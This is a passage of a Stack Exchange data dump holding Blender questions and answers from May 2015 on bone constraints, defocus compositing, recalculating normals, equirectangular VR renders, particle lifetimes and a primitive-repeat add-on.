  <row Id="30917" PostTypeId="1" CreationDate="2015-05-16T02:31:16.340" Score="2" ViewCount="508" Body="&lt;p&gt;Question is pretty self explained. It's snapping to wierd places when there is a clamp to constraint...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The bones original pos:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dYD9w.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;where it is now:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dryf9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="9495" LastEditorUserId="9495" LastEditDate="2015-05-16T14:38:37.267" LastActivityDate="2015-05-16T14:38:37.267" Title="Why is snap bone to cursor not working in pose mode?" Tags="&lt;bones&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30918" PostTypeId="1" AcceptedAnswerId="30919" CreationDate="2015-05-16T03:44:36.177" Score="10" ViewCount="625" Body="&lt;p&gt;I am trying to reverse the effect of the Defocus node as shown below :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/h4rr9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see the Front is being blurred and the back is focused , is it possible for the front to be focused instead?&lt;/p&gt;&#xA;" OwnerUserId="1829" LastEditorDisplayName="user1853" LastEditDate="2015-05-16T04:38:51.703" LastActivityDate="2015-05-17T06:15:16.217" Title="Reverse effect of Defocus node?" Tags="&lt;nodes&gt;&lt;compositor&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="30919" PostTypeId="2" ParentId="30918" CreationDate="2015-05-16T04:34:50.683" Score="12" Body="&lt;p&gt;Add a vector &lt;strong&gt;normalize&lt;/strong&gt; node and a &lt;strong&gt;color ramp&lt;/strong&gt; before the Z input on the defocus node. Playing with the sliders on the color ramp you should be able to find the point where you want to focus.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/i8qwn.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HZnWx.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2015-05-16T04:41:56.053" LastActivityDate="2015-05-16T04:41:56.053" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30920" PostTypeId="2" ParentId="30915" CreationDate="2015-05-16T05:25:14.200" Score="6" Body="&lt;p&gt;In edit mode, with all geometry selected hit &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;N&lt;/kbd&gt; to &lt;a href=&quot;https://blender.stackexchange.com/questions/18886/how-to-recalculate-normals/18887#18887&quot;&gt;recalculate the face normals&lt;/a&gt;, they are doing crazy things. This unifies their direction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A render of the cuboc you provided, with light spheres (Cycles Emission material) placed at incident angles with respect to the faces they are intended to highlight.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PWjRl.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have more Z slices, than XY steps around the object, this produces elongated polygons, and is one reason why you won't get smooth surfaces. You will get neater results if you can generate more points per z-slice, resulting in the polygons being closer to square shapes. Either that or fewer Z slices, but then you loose detail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ewm1y.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.577" LastActivityDate="2015-12-04T17:42:53.370" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="30921" PostTypeId="2" ParentId="30863" CreationDate="2015-05-16T05:38:09.260" Score="1" Body="&lt;p&gt;It looks like the normals of the bottom part are inverted, resulting in a transparent look due to &lt;a href=&quot;http://en.wikipedia.org/wiki/Back-face_culling&quot; rel=&quot;nofollow noreferrer&quot;&gt;back-face culling&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try recalculating the normals with &lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;N&lt;/kbd&gt; in edit mode (&lt;kbd&gt;&amp;#8633; Tab&lt;/kbd&gt;) with everything selected (&lt;kbd&gt;A&lt;/kbd&gt;). Note that it's possible to create &lt;a href=&quot;https://blender.stackexchange.com/q/7910/599&quot;&gt;topology which cannot have consistent normals&lt;/a&gt;, which could be why this didn't work for you before.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.843" LastActivityDate="2015-05-16T05:38:09.260" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="30922" PostTypeId="2" ParentId="30917" CreationDate="2015-05-16T05:54:04.863" Score="4" Body="&lt;p&gt;[Clamp To] Constraint  wins over manual placement such as [Snap To].&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;An active [clamp to] constraint of influence 1, with a disconnected bone, will dominate any manual position for final placment.  This is useful, designed, and meets the expectation of the Blender user who is informed.  Snap to is manual placement.  Standard specification and behavior.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Verify your bone is NOT connected to parent in bone edit mode.  Then the bone should follow the curve.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RZEoF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;You may change your curve to be pass through any location including the cursor location.  Suit to your needs.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Be aware the constraints can be turned off and on with the eye option, and their influence can be set from 0 to 1 on the constraint panel.  Both of these options can use animation keyframes. So if you reduce the influence to zero with keyframes the bone will be off the curve for those keyframes.  Thus you can have a bone follow the curve or be off the curve as suits your animation.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oL2FH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If a constraint is used to control placement it dominates over manual placement.  That is the designed behavior.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="6076" LastEditorUserId="6076" LastEditDate="2015-05-16T07:55:37.983" LastActivityDate="2015-05-16T07:55:37.983" CommentCount="12" ContentLicense="CC BY-SA 3.0" />
  <row Id="30923" PostTypeId="1" CreationDate="2015-05-16T06:06:40.927" Score="1" ViewCount="55" Body="&lt;p&gt;I was thinking about making multiple animations in my armature(rig) and i want to make all the animations with the weapons(a lot of them), i usually attach my weapons to bones for only that mesh and then i relationate the bones of the weapon and the character using constraints like child of( I keyframe this constraint).however, this makes me wonder that this would make my armature have to much bones for my game(I,m developing for android and the less bones you have the better is),it,s like for every weapon =two more bones in the blender file(not attached to characters armature more bones) , but i don,t know if the mesh is not rendered the bones as well aren,t rendered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, if the bones are rendered, another way to animate without making a lot of bones?&lt;/p&gt;&#xA;" OwnerUserId="14398" LastActivityDate="2015-05-16T06:06:40.927" Title="About FPS bones" Tags="&lt;bones&gt;" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30924" PostTypeId="1" CreationDate="2015-05-16T07:05:17.550" Score="9" ViewCount="20662" Body="&lt;p&gt;I'm trying to figure out how to make 360-degree panoramic renders for virtual reality content? I'm trying to make the content to the specs of HoneyVR to submit something to their VR program but they are asking for the content in &quot;equirectangular project&quot; at 2:1 aspect ratio and I'm a bit loss.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using Blender / Cycles but I can use other renderers too.  Any help or tutorials much appreciated!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the link to the HoneyVR file specifications which shows the needed aspect ratios, resolutions, etc.  Is it possible with Blender?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.honeyvr.com/content-specs/&quot;&gt;http://www.honeyvr.com/content-specs/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14399" LastEditorUserId="527" LastEditDate="2015-05-16T09:03:21.967" LastActivityDate="2015-08-28T13:08:08.953" Title="How to make 360° renders for Virtual Reality devices (ie Oculus, etc) using Blender?" Tags="&lt;rendering&gt;&lt;camera&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="30925" PostTypeId="1" CreationDate="2015-05-16T07:30:57.373" Score="1" ViewCount="147" Body="&lt;p&gt;I am making a simple door opening animation with door handles pulling down.  Everything worked fine &#xA;&lt;img src=&quot;https://i.stack.imgur.com/Gyc9Y.jpg&quot; alt=&quot;Before rotation&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;until I selected everything and tried to rotate the door around the Z axis. &#xA;&lt;img src=&quot;https://i.stack.imgur.com/QCmAu.jpg&quot; alt=&quot;After rotation&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do i fix this?&lt;/p&gt;&#xA;" OwnerUserId="14400" LastEditorUserId="3401" LastEditDate="2015-06-15T18:47:36.667" LastActivityDate="2015-06-16T00:17:55.557" Title="Problem with rigging after object rotation" Tags="&lt;animation&gt;&lt;rigging&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30927" PostTypeId="1" AcceptedAnswerId="30931" CreationDate="2015-05-16T07:59:23.907" Score="3" ViewCount="158" Body="&lt;p&gt;Not sure whats going on with my particles here, they are vanishing after 250 frames : &lt;img src=&quot;https://i.stack.imgur.com/wkqbq.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My particle settings: &lt;img src=&quot;https://i.stack.imgur.com/f2UmU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sadly google search results are a bit tough to filter through for anything blender. Hopefully one of you know what the deal is.&lt;/p&gt;&#xA;" OwnerUserId="13512" LastActivityDate="2015-05-16T10:15:26.060" Title="My particles are vanishing after 250 frames, not sure whats going on. (Lifetime is set to 350)" Tags="&lt;particles&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30928" PostTypeId="2" ParentId="30924" CreationDate="2015-05-16T08:08:04.177" Score="8" Body="&lt;p&gt;With Cycles you can set your Camera to Panoramic and Equirectangular&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/e3X85.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure you have recent Blender builds. Also see the &lt;a href=&quot;https://www.blender.org/manual/render/cycles/camera.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blender manual docs for Camera&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-05-16T08:20:52.537" LastActivityDate="2015-05-16T08:20:52.537" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="30930" PostTypeId="1" CreationDate="2015-05-16T09:23:34.097" Score="1" ViewCount="25" Body="&lt;p&gt;How I can I see which physics (rigid body, fluid, smoke, paint, soft body etc) are used in the complete scene/blendfile, without having to check for each mesh individually? Thanks :)&lt;/p&gt;&#xA;" OwnerUserId="14206" LastActivityDate="2015-05-16T09:23:34.097" Title="Check which types of physics are used in the complete scene/blendfile" Tags="&lt;physics&gt;" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30931" PostTypeId="2" ParentId="30927" CreationDate="2015-05-16T09:42:35.677" Score="3" Body="&lt;p&gt;Did you modify any of the settings for the second time? Like did first you set lifetime to 250 and later to 350? It that's the case, you should set current frame to 0 and replay it with &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another possibility is the clipping: set the End value of clipping to a higher value or start value to a lower value (you can tab the panel with shortcut &lt;kbd&gt;N&lt;/kbd&gt;&lt;/p&gt;&#xA;" OwnerUserId="14206" LastEditorUserId="14206" LastEditDate="2015-05-16T10:15:26.060" LastActivityDate="2015-05-16T10:15:26.060" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="30932" PostTypeId="2" ParentId="30456" CreationDate="2015-05-16T09:59:41.680" Score="1" Body="&lt;p&gt;I added these to clarify what I do&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WLM5q.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;You could select one empty, then press &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt; --&gt; Cursor to selected!&#xA;&lt;img src=&quot;https://i.stack.imgur.com/SrJ51.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add a curve (since you can modify it's thickness), press &lt;kbd&gt;Tab&lt;/kbd&gt; to enter 'edit mode', select one vertex, press &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt; --&gt; Selection to cursor. Press &lt;kbd&gt;Tab&lt;/kbd&gt; to exit 'edit mode'&#xA;&lt;img src=&quot;https://i.stack.imgur.com/qWyAQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select the other empty, &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt; --&gt; Cursor to selected. Then select the curve, press &lt;kbd&gt;Tab&lt;/kbd&gt; to enter 'edit mode'&#xA;&lt;img src=&quot;https://i.stack.imgur.com/27Tq9.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;select the other vertex, press &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt; --&gt; selection to cursor&#xA;&lt;img src=&quot;https://i.stack.imgur.com/MlC1a.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;result:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/zqBSW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14206" LastEditorUserId="14206" LastEditDate="2015-05-16T18:11:58.053" LastActivityDate="2015-05-16T18:11:58.053" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30933" PostTypeId="1" CreationDate="2015-05-16T10:39:04.947" Score="2" ViewCount="120" Body="&lt;p&gt;I have created a bingo ball cage using &lt;a href=&quot;https://www.google.co.za/search?q=bingo%20ball%20cage&amp;amp;espv=2&amp;amp;biw=1745&amp;amp;bih=838&amp;amp;tbm=isch&amp;amp;tbo=u&amp;amp;source=univ&amp;amp;sa=X&amp;amp;ei=QhxXVcqvHIeX7QaH2oPgDw&amp;amp;ved=0CBsQsAQ#imgrc=3mTaReh1bheDQM%253A%3BsGK04hMsXFhK9M%3Bhttp%253A%252F%252Fwww.wkbingo.com%252Fphoto_08%252Fbingo_cage_bc33.jpg%3Bhttp%253A%252F%252Fwww.wkbingo.com%252Fbingo_cages.html%3B750%3B600&quot; rel=&quot;nofollow&quot;&gt;this image&lt;/a&gt; as reference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The balls inside the cage work perfectly, and also re-act to the cup (See image, the cup that holds the blue 28)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, I need the cup to seem attached to the cage, but also react to gravity. So, when the cage spins, the cup should spin on its own axis like the real one would. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now, it either spins together and the, or it looks like a wrecking ball and just falls down.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;googling for gyroscopic blender yields nothing helpful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any advice?&lt;/p&gt;&#xA;" OwnerUserId="5323" LastEditorUserId="5323" LastEditDate="2015-05-16T11:15:44.183" LastActivityDate="2015-05-19T15:22:33.790" Title="Rigid bodies with gyroscopic element" Tags="&lt;animation&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30934" PostTypeId="2" ParentId="30899" CreationDate="2015-05-16T12:28:01.287" Score="1" Body="&lt;p&gt;You can keyframe colour values the same as any other value, the catch is it will only keyframe the rgb values, not hsv.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To keyframe a colour either press &lt;kbd&gt;I&lt;/kbd&gt; with the cursor over the colour or right-click &lt;kbd&gt;&lt;img src=&quot;https://i.stack.imgur.com/LPwD4.png&quot; alt=&quot;RMB&quot; title=&quot;Right Mouse Button&quot;&gt; RMB&lt;/kbd&gt; and select &lt;code&gt;Insert Keyframe&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While you can then bake a sound into any of the keyed colour channels, it will be an erratic change, not a smooth fade that you most likely want, so you will want to manually key the fade that you want at the right time.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-05-16T12:28:01.287" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30935" PostTypeId="2" ParentId="30892" CreationDate="2015-05-16T12:48:33.220" Score="2" Body="&lt;p&gt;The standard filesystem functions available in python can be used within blender.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import os&#xA;os.remove(path) # a single file&#xA;os.rmdir(path) # an empty folder&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;https://docs.python.org/3/library/os.html#os.remove&quot; rel=&quot;nofollow&quot;&gt;python docs&lt;/a&gt; include more info.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-05-16T12:48:33.220" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30936" PostTypeId="1" AcceptedAnswerId="30950" CreationDate="2015-05-16T12:57:27.013" Score="1" ViewCount="1247" Body="&lt;p&gt;I have a rigid body simulation set up, but I would like to double the simulation time; each frame in the last simulation, should last 2 frames now. I keep the same frames per second, to achieve the 0.5 speed effect (so actually scale time by 2. Does someone know how to do that? Thanks :)&lt;/p&gt;&#xA;" OwnerUserId="14206" LastActivityDate="2015-05-16T20:44:37.920" Title="Double simulation time to achieve 0.5 speed effect (slow motion)" Tags="&lt;rigid-body-simulation&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30937" PostTypeId="2" ParentId="14774" CreationDate="2015-05-16T13:50:17.510" Score="38" Body="&lt;ul&gt;&#xA;&lt;li&gt;Select both Edge Loops &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;RMB&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;li&gt;Hit &lt;kbd&gt;Space Bar&lt;/kbd&gt; and type &quot;Bridge&quot; and press Enter&lt;/li&gt;&#xA;&lt;li&gt;Press &lt;kbd&gt;F6&lt;/kbd&gt; and check &quot;Merge&quot;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Tlmqm.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bridge works also for loops with different amount of vertices.&#xA;Merge function only with the same amount of vertices.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more advanced work with Loops try &quot;&lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Modeling/LoopTools&quot; rel=&quot;noreferrer&quot;&gt;Loop Tools&lt;/a&gt;&quot; add-on of Bart Crouch.&lt;/p&gt;&#xA;" OwnerUserId="2214" LastActivityDate="2015-05-16T13:50:17.510" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30938" PostTypeId="2" ParentId="30916" CreationDate="2015-05-16T14:22:44.953" Score="5" Body="&lt;p&gt;Your problem is very simple to fix. your normals are reversed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can easily see which faces are pointing inward by enabling &lt;strong&gt;&lt;em&gt;Backface Culling&lt;/em&gt;&lt;/strong&gt;. This enables you to see though the back of faces like you do when you press &lt;kbd&gt;P&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AzIjd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could also enter edit mode on that object, and enable the normals visualization.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hftJ4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On high-polly models such as this one, this may or may not help much.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;to fix this you could manually go though and select each face that is pointing the wrong way, and flip the normals by pressing the &lt;kbd&gt; Flip Normals &lt;/kbd&gt; button.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zoPqK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You Could also select all of your faces and press the &lt;kbd&gt; Recalculate &lt;/kbd&gt; button, to recalculate the normals. This sometimes works, and sometimes it makes it worse. It is a good idea to try this first, because there is always &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Z&lt;/kbd&gt; for the times when it does not work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this case, it made all of the normals point the same way, but then they were all pointing the wrong direction. Simply flipping all of them could fix this easily enough. Sometimes more complex objects can confuse blender and recalculate them quite wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yyBDF.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;For your sky object, see &lt;a href=&quot;https://blender.stackexchange.com/a/28199/5426&quot;&gt; this question&lt;/a&gt;&lt;/h1&gt;&#xA;" OwnerUserId="5426" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.843" LastActivityDate="2015-05-16T14:27:53.870" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30939" PostTypeId="2" ParentId="30925" CreationDate="2015-05-16T14:30:29.480" Score="-1" Body="&lt;p&gt;I don't know, but I would try to use parenting to make a hierarchy. By doing this you need only to move one object, and the rest will follow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note the differences in the outliner:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/sybyO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14398" LastEditorUserId="599" LastEditDate="2015-06-16T00:17:55.557" LastActivityDate="2015-06-16T00:17:55.557" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30941" PostTypeId="1" CreationDate="2015-05-16T15:05:57.973" Score="1" ViewCount="158" Body="&lt;p&gt;I'm still way down on Blender 2.72 learning curve. I've tried to get an answer just working with a basic cube and a plane and I'm not getting the expected result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Object mode&gt;select cube&gt;shift select plane&gt;modifier (boolean difference)&gt; select cube (again)&gt;apply&#xA;At this point, I would expect to see three objects: two pieces of the cube and the plane.  However the plane is apparently fused to a piece of the cube and the other object is the original cube.&lt;br&gt;&#xA;Accepting this result and another bunch of commands and I might get to my result.  Do I really need to do this?  Have I overlooked a very simple answer?&#xA;BTW, I'm expecting the two pieces of the cube to be manifold.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've spent a lot of time searching, but I can't seem to find the magic keywords or phrasing. &lt;/p&gt;&#xA;" OwnerUserId="9598" LastActivityDate="2015-05-16T15:19:39.103" Title="Cutting a part into two objects using a plane" Tags="&lt;mesh&gt;&lt;modifiers&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30942" PostTypeId="2" ParentId="30941" CreationDate="2015-05-16T15:19:39.103" Score="1" Body="&lt;p&gt;Partial answer: Don't select both the cube and the plane before going to the modifier.  Select the cube, specify the boolean modifier, specify difference, select plane, then apply.&lt;br&gt;&#xA;This results in a part of the original cube (depending on the normals of the plane?) and the plane as the two surviving objects.  I would expect this result if I had started with a cube and another smaller cube and done a difference or an intersection. In other words, slicing with a plane (0 thickness) shouldn't result in loss of the original volume.&lt;/p&gt;&#xA;" OwnerUserId="9598" LastActivityDate="2015-05-16T15:19:39.103" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30943" PostTypeId="2" ParentId="30936" CreationDate="2015-05-16T16:10:56.550" Score="1" Body="&lt;p&gt;Go to animation then go to dope sheet summary and press A, make that the diamonds become orange then S and press 2, use G to move the diamonds to the time you expect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have no diamonds put animation and go the panel with the cube and put the start time&amp;lt;(frame), press I, select locrot, then there will appear diamonds, same to the next frame&lt;img src=&quot;https://i.stack.imgur.com/veWoW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14398" LastActivityDate="2015-05-16T16:10:56.550" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30944" PostTypeId="1" AcceptedAnswerId="30945" CreationDate="2015-05-16T16:12:32.403" Score="3" ViewCount="288" Body="&lt;p&gt;Thanks for the reply but I’m not sure that the solution offered works as I wanted. I have included a workflow to clarify what can be done easily on Sketchup requiring no calculations. This is what I would like to do in Blender. I’m sure It would be a really good addition to the Array modifier and I’m sure relatively easy to code.&lt;img src=&quot;https://i.stack.imgur.com/m1YYl.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14408" LastEditorUserId="14408" LastEditDate="2015-05-17T08:22:15.133" LastActivityDate="2016-01-10T19:54:19.323" Title="Create copies of primitives a number of times along a given or random length between two primitives" Tags="&lt;modeling&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30945" PostTypeId="2" ParentId="30944" CreationDate="2015-05-16T16:24:54.330" Score="2" Body="&lt;p&gt;&lt;strong&gt;NEW&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I rewrote this script today, it is available at: &lt;a href=&quot;https://github.com/zeffii/B3D_PrimitiveRepeat&quot; rel=&quot;nofollow noreferrer&quot;&gt;github.com/zeffii/B3D_PrimitiveRepeat&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Similar Features but simpler code and UI. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Changes:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;now can access operator properties from Tools or F6 (I prefer F6)&lt;/li&gt;&#xA;&lt;li&gt;has 3 main modes&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;linear: precise segments between two linked duplicates&lt;/li&gt;&#xA;&lt;li&gt;deviate: similar to linear but with a randomization &lt;em&gt;seed + amplitude&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;random: random locations between the two linked duplicates.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;has 2 interpolation modes&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;matrix interpolation (all transforms)&lt;/li&gt;&#xA;&lt;li&gt;vector interpolation (locations)&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;adds an empty and parents the generated objects to it. This allows you to quickly delete them using &lt;em&gt;Outliner-Delete Hierarchy&lt;/em&gt; with their Empty selected.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;OLD&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's &lt;a href=&quot;https://gist.github.com/zeffii/5283937b8e0995207e25&quot; rel=&quot;nofollow noreferrer&quot;&gt;an attempt at such a script&lt;/a&gt;. It is intended to inspire you to write your own addons / macros to customize your Blender experience. Not everyone understands why certain functionality is handy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But it's not exactly the same behaviour as SketchUp (ie you don't need to snap the primitive to the other primitive first)&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Select Two objects which use the same mesh. (Objects duplicated using &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;D&lt;/kbd&gt; share a mesh, and are called &quot;Linked Duplicates&quot;)&lt;/li&gt;&#xA;&lt;li&gt;Trigger the addon:&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;press Left Bracket / Right Bracket to increase decrease the number of repeated 